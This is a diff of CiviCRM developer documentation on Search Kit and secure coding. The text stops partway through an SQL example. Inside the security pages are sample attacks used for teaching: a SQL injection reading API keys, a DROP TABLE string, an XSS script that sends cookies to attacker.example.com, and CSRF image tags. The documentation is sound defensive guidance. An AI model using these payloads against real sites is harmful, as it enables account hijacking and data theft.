docs/searchkit/overview.md

+# Search Kit
+
+## Introduction
+
+The [Search Kit Extension](https://docs.civicrm.org/user/en/latest/searching/searchkit/what-is-searchkit/) is a graphical
+search query composer and display editor.
+
+The architecture uses [APIv4](../api/v4/usage.md) to run the queries, and [AngularJS](../framework/angular/index.md) for the UI.
+
+### Features
+
+Search Kit meets a number of developer needs as searches can:
+
+* be saved and exported,
+* have any number of unique displays on their own,
+* be connected to the dashboard, contact screen or individual URLs,
+* have exposed filters for easy filtering,
+* be the basis of a Smart Group,
+* be used for your own entities custom created for your website,
+* be packaged in an extension using [Managed Entities](../searchkit/extension.md).
+
+## Data Model
+
+The main entity in Search Kit is the `SavedSearch`, which contains the APIv4 parameters needed for running the query.
+
+Each SavedSearch can have zero or more [Displays](displays.md), which are stored in the DB as the `SearchDisplay` entity,
+and rendered on the page as AngularJS components. 
+
+## Integrations
+
+A SearchDisplay can be embedded in [Afform](../afform/search-forms.md) create standalone pages, contact summary tabs, modal popups, or dashboard dashlets.
+
+![Diagram of Searchkit Formbuilder](../img/searchkit/searchkit-formbuilder-schema.png)

docs/searchkit/queries.md

+# Search Kit - Query Building with APIv4
+
+## Entities
+
+Any APIv4 entity can be made available to Search Kit. Even nontraditional entities that do not
+correspond to a SQL table will work as long as they have a `get` action.
+
+## Searchability
+
+Whether an entity appears in Search Kit depends on the `@searchable` annotation at the top of the API entity class
+(if not present the entity defaults to "secondary"):
+
+- `@searchable primary`: Appears at top of main entity list in Search Kit.
+- `@searchable secondary` *(default)*: Appears in "Other" section at bottom of entity list.
+- `@searchable bridge`: Does not appear in entity list but Search Kit will use it to join other entities together.
+- `@searchable none`: Does not appear anywhere in Search Kit.
+
+## Joins
+
+Search Kit automatically builds a list of entities that can be joined, based on foreign-keys from the schema.
+When the user selects a join in the admin UI, the criteria for linking those entities is invisibly added.
+
+## Option Lists
+
+APIv4 supports a syntax for resolving option lists based on suffixes, for example selecting `activity_type_id:label`
+will return "Meeting" instead of the id `1`. The Search Kit UI invisibly adds the `:label` suffix to every field with an option list
+so that results are returned formatted for display.
+
+## The `SearchDisplay::run` API
+
+SearchDisplay results are loaded indirectly via the `SearchDisplay::run` API. This gives Search Kit more control of the
+permission model, and the chance to add filters.
\ No newline at end of file

docs/searchkit/tasks.md

+# Search Kit - Links and Tasks
+
+## Overview
+
+SearchKit allows users to take action on the results via _links_ and _tasks_. 
+
+- **Links** point to an actual page url (could be a traditional page-route or an Afform with a route).
+- **Tasks** perform api actions on one or more selected records. Tasks appear in the dropdown menu above a search display. 
+    A task can also be presented as a link if it's suitable for a single record.
+- **Legacy Tasks** are page urls for bulk tasks from older searches. SearchKit is able to present them
+    in the dropdown as well.
+
+## Links
+
+Links are gathered for an entity using the `getLinks` Api4 action. For most entities this api
+returns a handful of paths e.g. to add/view/update/delete entities.
+
+Some entities implement hooks to expand or customize these links, for example Activity.getLinks
+will return multiple "add" links for various activity types, which SearchKit automatically transforms
+into a dropdown menu in the toolbar. It also returns specialized 'update' links for some activity types.
+
+To programmatically alter the links available to an entity, use a class (example: [`ContactLinksProvider`](https://github.com/civicrm/civicrm-core/blob/master/Civi/Api4/Service/Links/ContactLinksProvider.php))
+to implement callbacks for one or both of these events:
+
+- **`civi.api4.getLinks`:** Allows you to add or alter the stock list of links for an entity.
+- **`civi.api.respond`:** Generic api post-event is useful if you want to alter links based on entity values
+    (e.g. the [`ActivityLinksProvider`](https://github.com/civicrm/civicrm-core/blob/master/Civi/Api4/Service/Links/ActivityLinksProvider.php)
+    uses this to contextually alter links based on input values.
+
+!!! tip "More on the schema"
+    You can see where links are initially defined for entities in [Schema defintion](../framework/entities/index.md)
+
+
+Search Kit treats anything within brackets like a token and replaces the value,
+e.g. `[id]` becomes the actual contact ID for each row.
+
+## Tasks
+
+### Angular-based Tasks
+
+New tasks built for Search Kit consist of an Angular controller, which receives the name of the entity (e.g. "Contact")
+and an array of IDs to be acted upon. Typically this controller will present the user with a configuration form, and then
+run `crmSearchBatchRunner` which performs an api action on 500 records at a time & shows a progress bar to the user.
+
+Note that the api that is called needs to be the same entity as the Search Kit entity. For example if you want to take a custom action on a contact you should ensure the entity for your custom action is 'Contact'
+
+Extensions wishing to add new actions to Search Kit should implement [`hook_civicrm_searchKitTasks`](../hooks/hook_civicrm_searchKitTasks.md).
+
+### ApiBatch Tasks (available in CiviCRM 5.56+)
+
+For tasks that involve calling an api action once per row, extensions can skip writing their own Angular templates and controllers
+by setting 'apiBatch' which will use a generic controller and template provided by SearchKit. When implementing
+[`hook_civicrm_searchKitTasks`](../hooks/hook_civicrm_searchKitTasks.md), add the following settings
+(example from the Delete action):
+
+```php
+  $tasks[$entityName]['delete'] = [
+    'title' => E::ts('Delete %1', [1 => $entity['title_plural']]),
+    'icon' => 'fa-trash',
+    'apiBatch' => [
+      'action' => 'delete', // Name of API action to call once per row
+      // note that entity cannot be specified and will be the same as `$entityName`
+      'params' => NULL, // Optional array of additional api params
+      'confirmMsg' => E::ts('Are you sure you want to delete %1 %2?'), // If omitted, the action will run immediately with no confirmation
+      'runMsg' => E::ts('Deleting %1 %2...'),
+      'successMsg' => E::ts('Successfully deleted %1 %2.'),
+      'errorMsg' => E::ts('An error occurred while attempting to delete %1 %2.'),
+    ],
+  ];
+```
+
+Note that strings within the `apiBatch` setting should be translated but will be further processed by javascript to replace
+the following tokens:
+
+- **`%1`:** Row count 
+- **`%2`:** Title of entity (pluralized if count > 1) 
+
+### ApiBatch Tasks with custom APIv4 action
+
+`apiBatch['action']` can also be a custom APIv4 action
+
+### ApiBatch Tasks with user input (available in CiviCRM 5.80+)
+
+The values to be used in the batch action can be specified by the user.  Use the 'fields' param.
+
+```php
+  $tasks['Contact']['set_source'] = [
+    'title' => E::ts('Set contact source),
+    'icon' => 'fa-trash',
+    'apiBatch' => [
+      'action' => 'update', // Name of API action to call once per row
+      // note that entity cannot be specified and will be the same as `$entityName`
+      'fields' => [['name' => 'contact_source', 'required' => TRUE, 'default_value' => 'Tis a mystery'],  // Array of fields to prompt for.  Values are then used in the update.
+      'confirmMsg' => E::ts('Are you sure you want to set source for %1 %2?'), // If omitted, the action will run immediately with no confirmation
+      'runMsg' => E::ts('Setting source for %1 %2...'),
+      'successMsg' => E::ts('Successfully set source for %1 %2.'),
+      'errorMsg' => E::ts('An error occurred while attempting to set source for %1 %2.'),
+    ],
+  ];
+```
+
+
+### Legacy Search Tasks
+
+For transitional purposes, Search Kit supports many of the tasks from Advanced Search,
+namely the ones that work in "standalone" mode (can be accessed via a url outside of the Advanced Search screen).
+To illustrate, here's a snippet from `CRM_Contact_Task`:
+```
+self::TASK_PRINT => [
+  'title' => ts('Print selected rows'),
+  'class' => 'CRM_Contact_Form_Task_Print',
+  'result' => FALSE,
+],
+self::LABEL_CONTACTS => [
+  'title' => ts('Mailing labels - print'),
+  'class' => 'CRM_Contact_Form_Task_Label',
+  'result' => TRUE,
+  'url' => 'civicrm/task/make-mailing-label',
+  'icon' => 'fa-print',
+],
+```
+Notice that the first task does not contain a `url` key and therefore is not available in Search Kit,
+whereas the second task is accessible via a standalone url (and looks nice in the task list because of the `icon`).
+
+Any task with a `url` property added via [`hook_civicrm_searchTasks`](../hooks/hook_civicrm_searchTasks.md)
+will appear in Search Kit as well.
+
+For _Contact_ searches, the above should be sufficient, and the `$form->_contactIds` variable will be populated with the selected record ids as usual. For other searches such as on _Contributions_, the `$form->_contributionIds` variable will __not__ be populated for you as usual. You will need to retrieve it in preProcess() using e.g. `$this->_contributionIds = explode(',', $this->get('id'));`

docs/security/access.md

+# Access Control in CiviCRM
+
+## Introduction
+
+CiviCRM has a system of Access Control Lists (ACLs) which allow administrators to customise what information groups of their users are able to see. ACLs work alongside the system of permissions set out by CiviCRM which is integrated in the Content Management System's Permissions structure.
+
+## Context
+
+Access Control is used to control access to CiviCRM data and functionality. This is done through Access Control Lists (ACL's). An ACL consists of:
+
+1. A Role that has permission to do this operation ('Administrator', 'Team Leader'),
+2. An Operation (e.g. 'View' or 'Edit'), and
+3. A set of Data that the operation can be performed on (e.g. a group of contacts)
+
+Example: there may be a role called "Team Leaders" that can "Edit" all the contacts within the "Active Volunteers Group"
+
+## Within Code
+
+Much of the ACL control process happens within the `CRM/ACL/Api.php` file and `CRM/ACL/BAO/Acl.php` file. These files demonstrate how the ACL is used to add clauses to the WHERE statement of queries that are generated within CiviCRM. Many of these functions will be called from within the relevant CMS system files in `CRM/Utils/System/xxx.php` where xxx is the UF name of your CMS. e.g. Drupal 7 is Drupal, Drupal 8 is Drupal8 etc. These functions are usually checked at run time and are very low level.
+
+## Extending ACLs
+
+There are a few ACL hooks that allow developers in their extension to extend the implementation of various ACLs for their own purposes.
+
+ - [`hook_civicrm_aclGroup`](../hooks/hook_civicrm_aclGroup.md) This hook alters what entities (e.g. CiviCRM Groups, CiviCRM Events) an end user is able to see.
+
+ - [`hook_civicrm_aclWhereClause`](../hooks/hook_civicrm_aclWhereClause.md) This hook adds extra SQL statements when the ACL contact cache table is to be filled up. Depending on how frequently your ACL cache is cleared this may become taxing on your database.
+
+ - [`hook_civicrm_selectWhereClause`](../hooks/hook_civicrm_selectWhereClause.md) This hook was introduced in 4.7 and allows you to add specific restrictions or remove restrictions when querying specific entities. This is different to `hook_civicrm_aclWhereClause` because that only deals with contacts and limiting of contacts and also `hook_civicrm_selectWhereClause` is run every time a select query for that entity is run.
+
+It should be noted that especially with `hook_civicrm_selectWhereClause` there is little CiviCRM Core test coverage on these items so it is always very important that administrators test their own ACLs when testing any upgrade to CiviCRM.

docs/security/csrf.md

+# Cross Site Request Forgery (CSRF)
+
+## General
+
+### What is CSRF?
+
+_Cross-site request forgery (CSRF)_ is a type of browser-based attack involving a user who visits two sites:
+
+* A web-based user logs into one site (eg `https://crm.example.org`). They have an *active browser session/cookie* on this site.
+* Later, the same user casually browses to another site (eg `https://evil.example.com`).
+* The `evil.example.com` site emits some kind of hyperlink (`<A HREF>`, `<FORM ACTION>`, `<IFRAME>`, `<IMG>`, `<SCRIPT>`, etc) which
+  tells the browser to send a request to `crm.example.org`, eg
+      ```html
+      <img src="https://crm.example.org/civicrm/ajax/rest?entity=Contact&action=delete&..."/>
+      ```
+* The browser requests this hyperlink. Because the user has an active session and suitable permission, `crm.example.org`
+  performs the requested action (eg deleting random contacts).
+* Of course, the user didn't actually want to delete anything. This was a surreptitious request sent on their behalf.
+
+### How does CiviCRM protect against CSRF?
+
+There are different techniques - some techniques are used for [REST services (eg APIv3/APIv4)](#rest); other techniques are used for
+[web forms (such as HTML_QuickForm)](#quickform).
+
+### When should CSRF protections be required?
+
+Requests which actively manipulate data must have CSRF protection. For example, `civicrm/ajax/rest` must have CSRF protection.
+
+Requests which passively display linkable screens must _not_ have CSRF protection. For example, `civicrm/event/info` must not have CSRF protection.
+
+Many workflows involve a hybrid.  For example, it is useful to have external hyperlinks to `civicrm/event/register`.  The first page-load
+presents a form to a user; this page does not require CSRF protection.  As the user interacts with the form (eg using rich widgets that require
+APIs; eg submitting the form to finish regstration), the page sends additional requests - and these do require CSRF protection.
+
+## APIv3/APIv4 REST {:#rest}
+
+All requests for [APIv3 REST](../api/v3/rest.md) and [APIv4 REST](../api/v4/rest.md) are assessed for CSRF risk - they must have some attribute to indicate that CSRF is not a concern. Either:
+
+* Send the header `X-Requested-With: XMLHttpRequest`.
+* Authenticate with a mechanism that is not susceptible to CSRF.
+
+The rationales for each are examined below.
+
+### When does APIv3/APIv4 require `X-Requested-With`?
+
+It varies by version, authentication mechanism, and/or end-point. For APIv3/APIv4:
+
+* After v5.47+, CSRF protection depends on the authentication mechanism:
+    * `X-Requested-With:` is required if you authenticate with standard HTTP headers (`Cookie:` or `Authorization:`).
+    * `X-Requested-With:` is not required for bespoke authentication mechanisms (`X-Civi-Auth:`, `?_authx=`, `?api_key=`).
+* Before v5.47, CSRF protection depends on the end-point URL:
+    * `X-Requested-With:` is required by `civicrm/ajax/*` -- regardless of whether you use standard or bespoke authentication.
+    * `X-Requested-With:` is not required by `extern/rest.php`. This is not required because `extern/rest.php` only supports bespoke authentication (`?api_key`).
+
+### How does `X-Requested-With` mitigate CSRF?
+
+When the browser follows a regular HTML hyperlink, it only sends standard headers.  `X-Requested-With:` is a custom-header.
+`evil.example.com` can generate HTML hyperlinks in many ways (`<A HREF>`, `<FORM ACTION>`, etc), but none of them can specify the
+custom-header `X-Requested-With:`.
+
+Browsers will send custom-headers under some other circumstances; notably, Javascript logic can send a custom-header.  However, this is
+subject to the standard *Same Origin Policy*.  Javascript on `https://crm.example.org` can send custom-headers to `crm.example.org`; but
+Javascript on `https://evil.example.com` cannot.
+
+### What authentication mechanisms are susceptible to CSRF?
+
+CSRF attacks exploit standard HTTP headers such as `Cookie:` and/or `Authorization:`.  For example, when a user logs into
+`crm.example.org`, the browser makes a note to continue sending `Cookie:` and/or `Authorization:` with every subsequent request (regardless
+of how the request is initiated).  This automatic behavior creates the opportunity for CSRF.
+
+For contrast, consider the legacy end-point `extern/rest.php`.  Instead of standard headers, it uses the bespoke parameter `?api_key=`.
+The browser does not send `?api_key=` automatically -- so it's not a vector for CSRF.
+
+Hypothetically, `evil.example.com` could construct a hyperlink to `extern/rest.php?api_key=MY_API_KEY`.  *But they need to specify
+`MY_API_KEY`.* If they don't specify `MY_API_KEY`, then the request is anonymous - and conveys no extra privileges.  If they do specify
+`MY_API_KEY`, then you have a prior security compromise.  CSRF countermeasures like `X-Requested-With:` won't protect you from an attacker
+who already has an API key.
+
+In short, CSRF is an important consideration for standard browser-based authentication flows (`Cookie:`/`Authorization:`) but not for
+bespoke authentication flows (`?api_key=`, `X-Civi-Auth:`).
+
+## QuickForm {:#quickform}
+
+!!! todo "TODO: Discuss qfid mechanism"

docs/security/index.md

+# Secure Coding
+
+## Introduction
+
+CiviCRM maintains a number of standard practices which help ensure that CiviCRM is as secure as possible. This chapter will aim to help give developers guidance on the best way to write code for CiviCRM core and Extensions etc in a secure way. 
+
+## Inputs and outputs
+
+Like any large application, CiviCRM has many inputs and many outputs — and for adequate security, it must ensure that all data which flows from untrusted inputs to sensitive outputs receives *sanitizing* at some point along the way to protect against attacks.
+
+![Inputs vs outputs diagram](../img/security-inputs-and-outputs.svg)
+
+### Bad example
+
+Consider the following PHP code:
+
+```php
+$contactId = $_GET['cid']; // Untrusted input
+$sql = "
+ SELECT display_name
+ FROM civicrm_contact
+ WHERE id = $contactID;
+";
+$query = CRM_Core_DAO::executeQuery($query); // Sensitive output
+```
+
+This is bad because because a user can send the following string for the `cid` parameter:
+
+```text
+0 UNION SELECT api_key FROM civicrm_contact WHERE id = 4
+```
+
+With this attack, the response page would display the API key (for any contact the attacker chooses) anywhere the page would normally display the contact's name. This is an information disclosure vulnerability.
+
+!!! note
+    You might think that an input like ``0; DROP TABLE `civicrm_contact` `` would present an [even more serious a vulnerability](https://xkcd.com/327/), but fortunately CiviCRM does not allow [query stacking](http://www.sqlinjection.net/stacked-queries/) which means `executeQuery()` can only execute one query at a time.
+
+### An improvement using sanitizing
+
+In order to fix this security vulnerability, we need to sanitize either the input or output (or both!) as follows:
+
+```php
+$contactId = CRM_Utils_Request::retrieve(
+  'cid',
+  'Positive' // <-- Input sanitizing
+);
+$sql = "
+  SELECT display_name
+  FROM civicrm_contact
+  WHERE contact_id = %1;
+";
+$displayName = CRM_Core_DAO::executeQuery($query, [
+  // Output sanitizing
+  1 => [$contactId, 'Integer'], 
+]);
+```
+
+Now, users will only be able to send integers in, and CiviCRM will only be able to send integers out. This is obviously a simplified example, but it illustrates the concepts of inputs, outputs, and sanitizing.
+
+
+## Sanitization methods {:#sanitization}
+
+Sanitizing (also sometimes generally called "**escaping**") refers the process of cleaning (or rejecting) data to protect against attacks.
+
+### Validation
+
+The most primitive way to sanitize untrusted data (as in the example above) is to throw an error when it does not conform to the expected format. This works well for data of known (and simple) types, but can be much more difficult (and less effective) when used for complex data types.
+
+Validation is very important for data *inputs*. Likewise, it's a good idea to use it for *outputs*, too. For example, when sending data to MySQL in a query, it's good practice to validate that integers are actually integers.
+
+### Encoding (aka "escaping") {:#encoding}
+
+Encoding alters the untrusted data to suit a *specific output*.
+
+For example, consider the following Smarty code:
+
+```html
+<div class="email">{$emailAddress}</div>
+```
+
+This works fine with an input of `foo@example.org`. But a string like `<script>window.location='http://attacker.example.com/?cookie='+document.cookie</script>` would present an [XSS](https://excess-xss.com/) vulnerability. If loaded in a victim's browser, this string would send the victim's cookies to the attacker's website and allow the attacker to masquerade as the user.
+
+Using validation to reject email addresses characters like `<` or `>` would prevent the attack, but it would also prevent us from displaying email addresses like `"Foo Bar" <foo@example.org>`.
+
+By *encoding* the data for HTML (e.g. by using [htmlentities()](http://php.net/manual/en/function.htmlentities.php)), we change `"Foo Bar" <foo@example.org>` to `&quot;Foo Bar&quot; &lt;foo@example.org&gt;`. This prevents the attack and allows us to display any characters we wish.
+
+!!! important
+    Encoding is specific to output mechanisms. Data embedded within HTML must be encoded differently from data embedded in an SQL query or a shell command.
+
+### Purification
+
+In rare cases such as user-editable rich text fields, CiviCRM cannot use validation or encoding to protect against attacks because the same characters used in attacks are also necessary for presentation. For these cases, CiviCRM uses a 3rd-party library called [HTML Purifier](http://htmlpurifier.org/) which employs sophisticated techniques to [remove XSS](http://htmlpurifier.org/live/smoketests/xssAttacks.php) from HTML strings.
+
+
+## Sanitize input or output? {:#input-vs-output}
+
+Now that we understand the difference between inputs and outputs, as well as the different sanitization techniques, the question arises: *at what point in my code should I sanitize? Input, or output?*
+
+### In an ideal world {:#ideal}
+
+Within the larger community of developers (outside of CiviCRM), the current [best-practices say](https://security.stackexchange.com/a/95330/32455) that developer should do the following
+
+* For inputs:
+    * **Validate data inputs** as strictly as possible.
+* For outputs:
+    * *Also* **validate data outputs** as strictly as possible (to provide some redundant protection).
+    * **Encode data outputs** whenever possible (which is most of the time).
+    * Provide purification for outputs in rare cases when encoding is not possible (e.g. rich text).
+
+!!! failure "In a misguided world"
+
+    A common (and well meaning) mistake is to *encode inputs* instead of *encoding outputs*. For example, we might choose to store a string like `"Foo Bar" <foo@example.org>` in the database as `&quot;Foo Bar&quot; &lt;foo@example.org&gt;` because we know that, later on, our application will display it within an HTML page. This approach is bad because different outputs (e.g. HTML, SQL, shell) require different of encoding schemes. During input we have no reliable way of knowing which outputs the data will reach.
+
+### CiviCRM's current strategy {:#strategy}
+
+Unfortunately (at least as of 2017) CiviCRM exists in a somewhat uncomfortable limbo between the ideal world and the misguided world. In some places, CiviCRM sanitizes inputs with a partial encoding for HTML output, and then does not encode the HTML output. In other places, (e.g. in SQL queries) CiviCRM encodes outputs. In 2012, developers [identified the need to improve this situation](https://issues.civicrm.org/jira/browse/CRM-11532), but unfortunately it's not an easy task because shifting strategies has implications across the entire codebase. This doesn't mean CiviCRM is rife with security vulnerabilities &mdash; it just means that CiviCRM has not been *consistent* about how it approaches security. 
+
+As of CiviCRM 5.46.0 it is possible to [increase the default security in Smarty at a site level](outputs.md#between-tags). However, in 5.46.0 this is not yet recommened for production sites.
+
+CiviCRM's strategy is as follows:
+
+* Inputs:
+    1. Validate inputs when possible
+    1. For non-rich text, [partially encode inputs](inputs.md#input-encoding)
+    1. For rich text, [purify inputs](inputs.md#input-purification)
+* Outputs:
+    1. HTML:
+        * *Sometimes* perform HTML encoding for [data between tags](outputs.md#between-tags) (depending on the data source)
+        * *Do* perform HTML encoding for [data within attributes](outputs.md#in-attributes)
+    1. SQL: [validate and encode](outputs.md#sql)
+    1. Shell: [validate and encode](outputs.md#shell)
+
+

docs/security/inputs.md

+# Securing your inputs
+
+## `GET` parameters
+
+If you have a page or a form which reads parameters from the URL (aka `GET` parameters) like `?cid=1234` or `?action=add`, it's important to understand that attackers can somewhat easily deceive *privileged users* into submitting malicious `GET` requests by directing the user to an email or website with content like: 
+
+```html
+<img width="0" height="0" src="https://example.org/civicrm/page?foo=ATTACK" >
+```
+
+This means that we can *never* trust `GET` parameters, even if the page has tight [permissions](permissions.md) or [ACLs](access.md)! A common security vulnerability which arises from insecure `GET` inputs is [reflected XSS](https://excess-xss.com/#reflected-xss), but `GET` inputs can also find their way into all sort of other sensitive outputs, like SQL queries.
+
+### Validating `GET` parameters
+
+Use the function `CRM_Utils_Request::retrieve()` to retrieve and validate `GET` parameters. This works great for simple types like integers. For example:
+
+```php
+$cid = CRM_Utils_Request::retrieve('cid', 'Positive');
+```
+
+Here we have specified `'Positive'` as the type. The acceptable types can be found in [CRM_Utils_Type::validate](https://github.com/civicrm/civicrm-core/blob/60050425316acb3726305d1c34908074cde124c7/CRM/Utils/Type.php#L378).
+
+If you find yourself wanting to use the `'String'` type, beware that this type offers very little validation and hence almost no protection against attacks. Thus, for strings it's important to *add additional validation*, as demonstrated in the following example.
+
+```php
+$angPage = CRM_Utils_Request::retrieve('angPage', 'String', $this);
+if (!preg_match(':^[a-zA-Z0-9\-_/]+$:', $angPage)) {
+  throw new CRM_Core_Exception('Malformed return URL');
+}
+```
+
+## `POST` parameters
+
+When accepting `POST` parameters through forms, it's important to validate the data using the form validation tools provided by `CRM_Core_Form`.
+
+
+## When saving to the database
+
+Despite the [current recommended best-practices](index.md#input-vs-output), CiviCRM *does* sanitize some of its *inputs*. This section describes how.
+
+### Input encoding {:#input-encoding}
+
+For almost all inputs which are saved to the database, CiviCRM automatically uses `CRM_Utils_API_HTMLInputCoder::encodeInput()` to apply a *partial* encoding for HTML output. This encoding step happens at a low level for inputs passed through the API or the BAO (except for fields noted in `CRM_Utils_API_HTMLInputCoder::getSkipFields()`). So if you're using the API or the BAO to process your input you don't need to do anything special.
+
+If, for some strange reason, you happen to be writing untrusted data to the database directly with SQL, you should encode this data in a fashion consistent with `CRM_Utils_API_HTMLInputCoder::encodeInput()`.
+
+Note that `CRM_Utils_API_HTMLInputCoder::encodeInput()` only encodes `<` and `>`. It does *not* encode quotes. This has some special implications for how you should [encode your HTML outputs](outputs.md#html).
+
+### Input purification {:#input-purification}
+
+When accepting untrusted data with rich text (uncommon), pass the data through `CRM_Utils_String::purifyHTML` to remove XSS.
+
+## PHPIDS
+
+CiviCRM Implements the PHP Intrusion Detection System to automatically assist in preventing harmful inputs. The PHPIDS system is triggered on all fields. There are standard suite of fields that are excluded and they can be found in the `CRM_Core_IDS` class. The PHPIDS system scans the submitted content and returns a numerical value as to how dangerous the submitted content is from 0  - 100. Three type of actions can be taken based on the numerical score. Either the content is not saved and a message is given out to the user saying there is suspect content which is known as kick. The next action down is just to present a warning to the user. This indicates to the user that there may be some XSS in the content but the context gets saved to the database. The next step down is that the report is logged in the CiviCRM logs and no message is displayed to the user. The PHPIDS is implemented in a bid to assist in preventing XSS, sqli and other dangerous code being saved in the database. More information on PHPIDS can be found in the [documentation](https://github.com/PHPIDS/PHPIDS). Developers are able to alter the list of Exceptions through [hook_civicrm_idsException](../hooks/hook_civicrm_idsException.md). Fields can also be altered through the Menu hooks [hook_civicrm_xmlMenu](../hooks/hook_civicrm_xmlMenu.md#xml-ids) and [hook_civicrm_alterMenu](../hooks/hook_civicrm_alterMenu.md)).

docs/security/outputs.md

+# Securing your outputs
+
+## HTML/Smarty {:#html}
+
+Untrusted data placed in HTML must be [encoded](index.md#encoding) for HTML output at some point. The PHP function [htmlentities()](http://php.net/manual/en/function.htmlentities.php) does this, and the Smarty variable modifier [escape](https://www.smarty.net/docsv2/en/language.modifier.escape) behaves similarly.
+
+### Default smarty escaping {:#escape-by-default}
+There are 2 strategies for smarty encoding
+
+1. encode by default, specify strings that should not be escaped
+2. only encode strings that are specified for encoding.
+
+Best practice recommends the former. However, CiviCRM did not implement this from the start so switching to it is challenging. As of CiviCRM 5.46.0 it is possible (but experimental) to enable Smarty escaping by default by adding the following to civicrm.settings.php :
+
+```
+define('CIVICRM_SMARTY_DEFAULT_ESCAPE', TRUE);
+```
+
+What this does is add a default modifier function (`CRM_Core_Smarty::escape`) that will parse any smarty variables that do not have the `smarty:nodefaults` modifer (even if they already have escaping applied). The function has a number of early-returns to help us get past common patterns in CiviCRM - these are intended to be transitional as part of a tightening security practice. In addition specific strings that are identified as inappropriate for escaping [such as this one](https://github.com/civicrm/civicrm-core/pull/22256) should be marked as such in the tpl e.g 
+
+```{$row.weight|smarty:nodefaults}```
+
+There are some gotchas
+
+## Gotcha 1 - over-escaping
+As this is generally not used in production yet (as of 5.59) the code still has a lot of places where html
+is escaped but actually needs to render as html. This is a work in progress and PRs like above need
+to be added
+
+## Gotcha 2 - smarty notices
+2. Using isset() in the smarty layer is incompatible with escape-by-default. If the value is not defined it cannot be passed to isset - resulting in a fatal. These have all been removed from CiviCRM core code but not yet message templates and extensions.
+3. Using empty() in the smarty layer will result in e-notices if not defined. Generally the recommendation is to ensure they ARE defined but alternatively the `smarty:nodefaults` modifier can be passed in.
+
+As can be seen by the above it is better to check all potentially relevant smarty variables are assigned than to check for them in the template. 
+
+Ways to deal with smarty Notices are
+
+1) Assign unconditionally e.g instead of 
+```php
+if ($contactID) {
+  $this-assign('contactID', $contactID);
+}
+```
+
+use
+```php
+$this-assign('contactID', $contactID);
+```
+
+In the real world these might also be array keys of the if logic might be deep and hard to clean-up in which case
+consider ...
+
+2) Figuring out what values really need to be assigned / what logic the template is actually using/ applying
+and change the assignments - e.g sometimes something mystical like `$useForMember` is being
+checked and after analysing the code what you might need is a php-calculated value to
+determine if line items should be displayed.
+```$this->assign('isShowLineItems, $this-isShowLineItems())```
+
+This approach is good for code cleanup & future us appreciate it but sometimes you just need to...
+
+
+3) Use `array_key_exists` in the template layer
+If you are dealing with a form then in `CRM_Core_Form::renderForm()` the form is converted to an
+array and assigned to the template - so anything assigned to the template using `$form->assign()`
+(or `$this->assign()` from with the form) can be accessed in the smarty layer with
+`{if array_key_exists('variableName', $form}$variableName{/if}`
+or for QuickForm fields`{if array_key_exists('fieldName', $form}$form.fieldName.html{/if}`
+
+You can also use `array_key_exists` for arrays otherwise assigned.
+
+Note that for a while we were assigning NULL for quick form elements that did not exist - eg 
+using `getOptionalQuickFormElements` - that is incompatible with `array_key_exists`
+
+Or if all else fails...
+
+6) Assign with a sledgehammer.
+
+To ensure smartyVariables are assigned you can pass an array of variable names to `ensureVariablesAreAssigned`. It check if they are already assigned and if not assign
+them as NULL.
+
+```
+  CRM_Core_Smarty::singleton()->ensureVariablesAreAssigned($this->expectedSmartyVariables);
+```
+
+
+### Between tags {:#db-between-tags}
+
+Whether data needs to be output encoded depends primarily on the data source:
+
+#### Database data between tags {:#db-between-tags}
+
+Data which comes *directly* out of MySQL has already been [partially encoded for HTML output](inputs.md#input-encoding). This means that when you place this data between HTML tags, you don't need to perform any output encoding. This means the syntax below is safe - however, be aware that changes to the php code could make the smarty code insecure.
+
+```php
+// in page class
+$dao = new CRM_Core_DAO();
+$dao->query('SELECT display_name FROM civicrm_contact');
+if ($dao->fetch()) {
+  // set template variable
+  $this->assign('displayName', $displayName);
+}
+```
+
+```html
+<!-- in template -->
+<div>{$displayName}</div>
+```
+
+#### API data or direct user input between tags {:#inputs-between-tags}
+
+HTML output encoding needs to be performed *at some point* for any data that is fetched via the API as well as any untrusted user input that is placed into HTML before being saved to the database. The recommended approach is to perform output encoding in the template:
+
+```php
+// in page class
+$contacts = \Civi\Api4\Contact::get()
+  ->addSelect('display_name')
+  ->execute();
+foreach ($contacts as $contact) {
+  $this->assign('displayName', $contact['display_name']);
+}
+```
+
+```html
+<!-- in template -->
+<div>{$displayName|escape}</div>
+```
+
+Alternatively, you can encode before passing the value to the template:
+
+```php
+// in page class
+$contacts = \Civi\Api4\Contact::get()
+  ->addSelect('display_name')
+  ->execute();
+foreach ($contacts as $contact) {
+  $this->assign('displayName', htmlentities($contact['display_name']));
+}
+```
+
+!!! tip
+    Be wary of using user input in *error messages*. This is a common scenario wherein untrusted user input can end up in HTML with no HTML output encoding.
+
+### HTML attributes {:#in-attributes}
+
+When placing data within attributes, always use Smarty's [escape](https://www.smarty.net/docsv2/en/language.modifier.escape) variable modifier to encode HTML entities.
+
+```html
+<a href="#" title="{$displayName|escape}">Foo</a>
+```
+
+!!! note
+    HTML output encoding *is always* necessary for attribute data (but *not* always necessary for data between tags) because of the intentionally incomplete [input encoding](inputs.md#input-encoding) that CiviCRM performs. 
+    
+### Javascript in Smarty {:#javascript-smarty}
+
+If you have a PHP variable that you'd like to use in Javascript, you can assign it to a Javascript variable in a Smarty template as follows
+
+```html
+<div>...</div>
+{literal}
+<script type="text/javascript">
+  var data = {/literal}{$data|@json_encode}{literal};
+</script>
+{/literal}
+<div>...</div>
+```
+
+Notice the use of the `@json_encode` variable modifier. This provides output encoding for JSON which is important to prevent XSS. 
+
+## AngularJS templates {:#angularjs}
+
+The [AngularJS Security Guide](https://docs.angularjs.org/guide/security) says:
+    
+> Do not use user input to generate templates dynamically
+
+This means that if you put an `ng-app` element in a Smarty template, it's very important that you do not use Smarty to put any user input inside the `ng-app` element.
+
+For example, the following Smarty template would be a security risk:
+
+```html
+<div ng-app="crmCaseType">
+  <div ng-view=""></div>
+  <div>{$untrustedData}</div>
+</div>
+```
+
+This is bad because the `$untrustedData` PHP variable can contain a string like `{{1+2}}` which AngularJS will execute, opening the door to XSS vulnerabilities. 
+
+
+## SQL {:#sql}
+
+When writing SQL, it is very important to protect against [SQL injection](https://en.wikipedia.org/wiki/SQL_injection) by ensuring that all variables are passed into SQL with sufficient validation and encoding. CiviCRM has several functions to help with this process, as described below.
+
+### `CRM_Core_DAO::executeQuery` {:#executeQuery}
+
+```php
+$name = 'John Smith'; /* un-trusted data */
+$optedOut = 0;        /* un-trusted data */
+
+$query = "
+  SELECT id
+  FROM civicrm_contact
+  WHERE
+    display_name like %1 AND
+    is_opt_out = %2";
+
+$result = CRM_Core_DAO::executeQuery($query, [
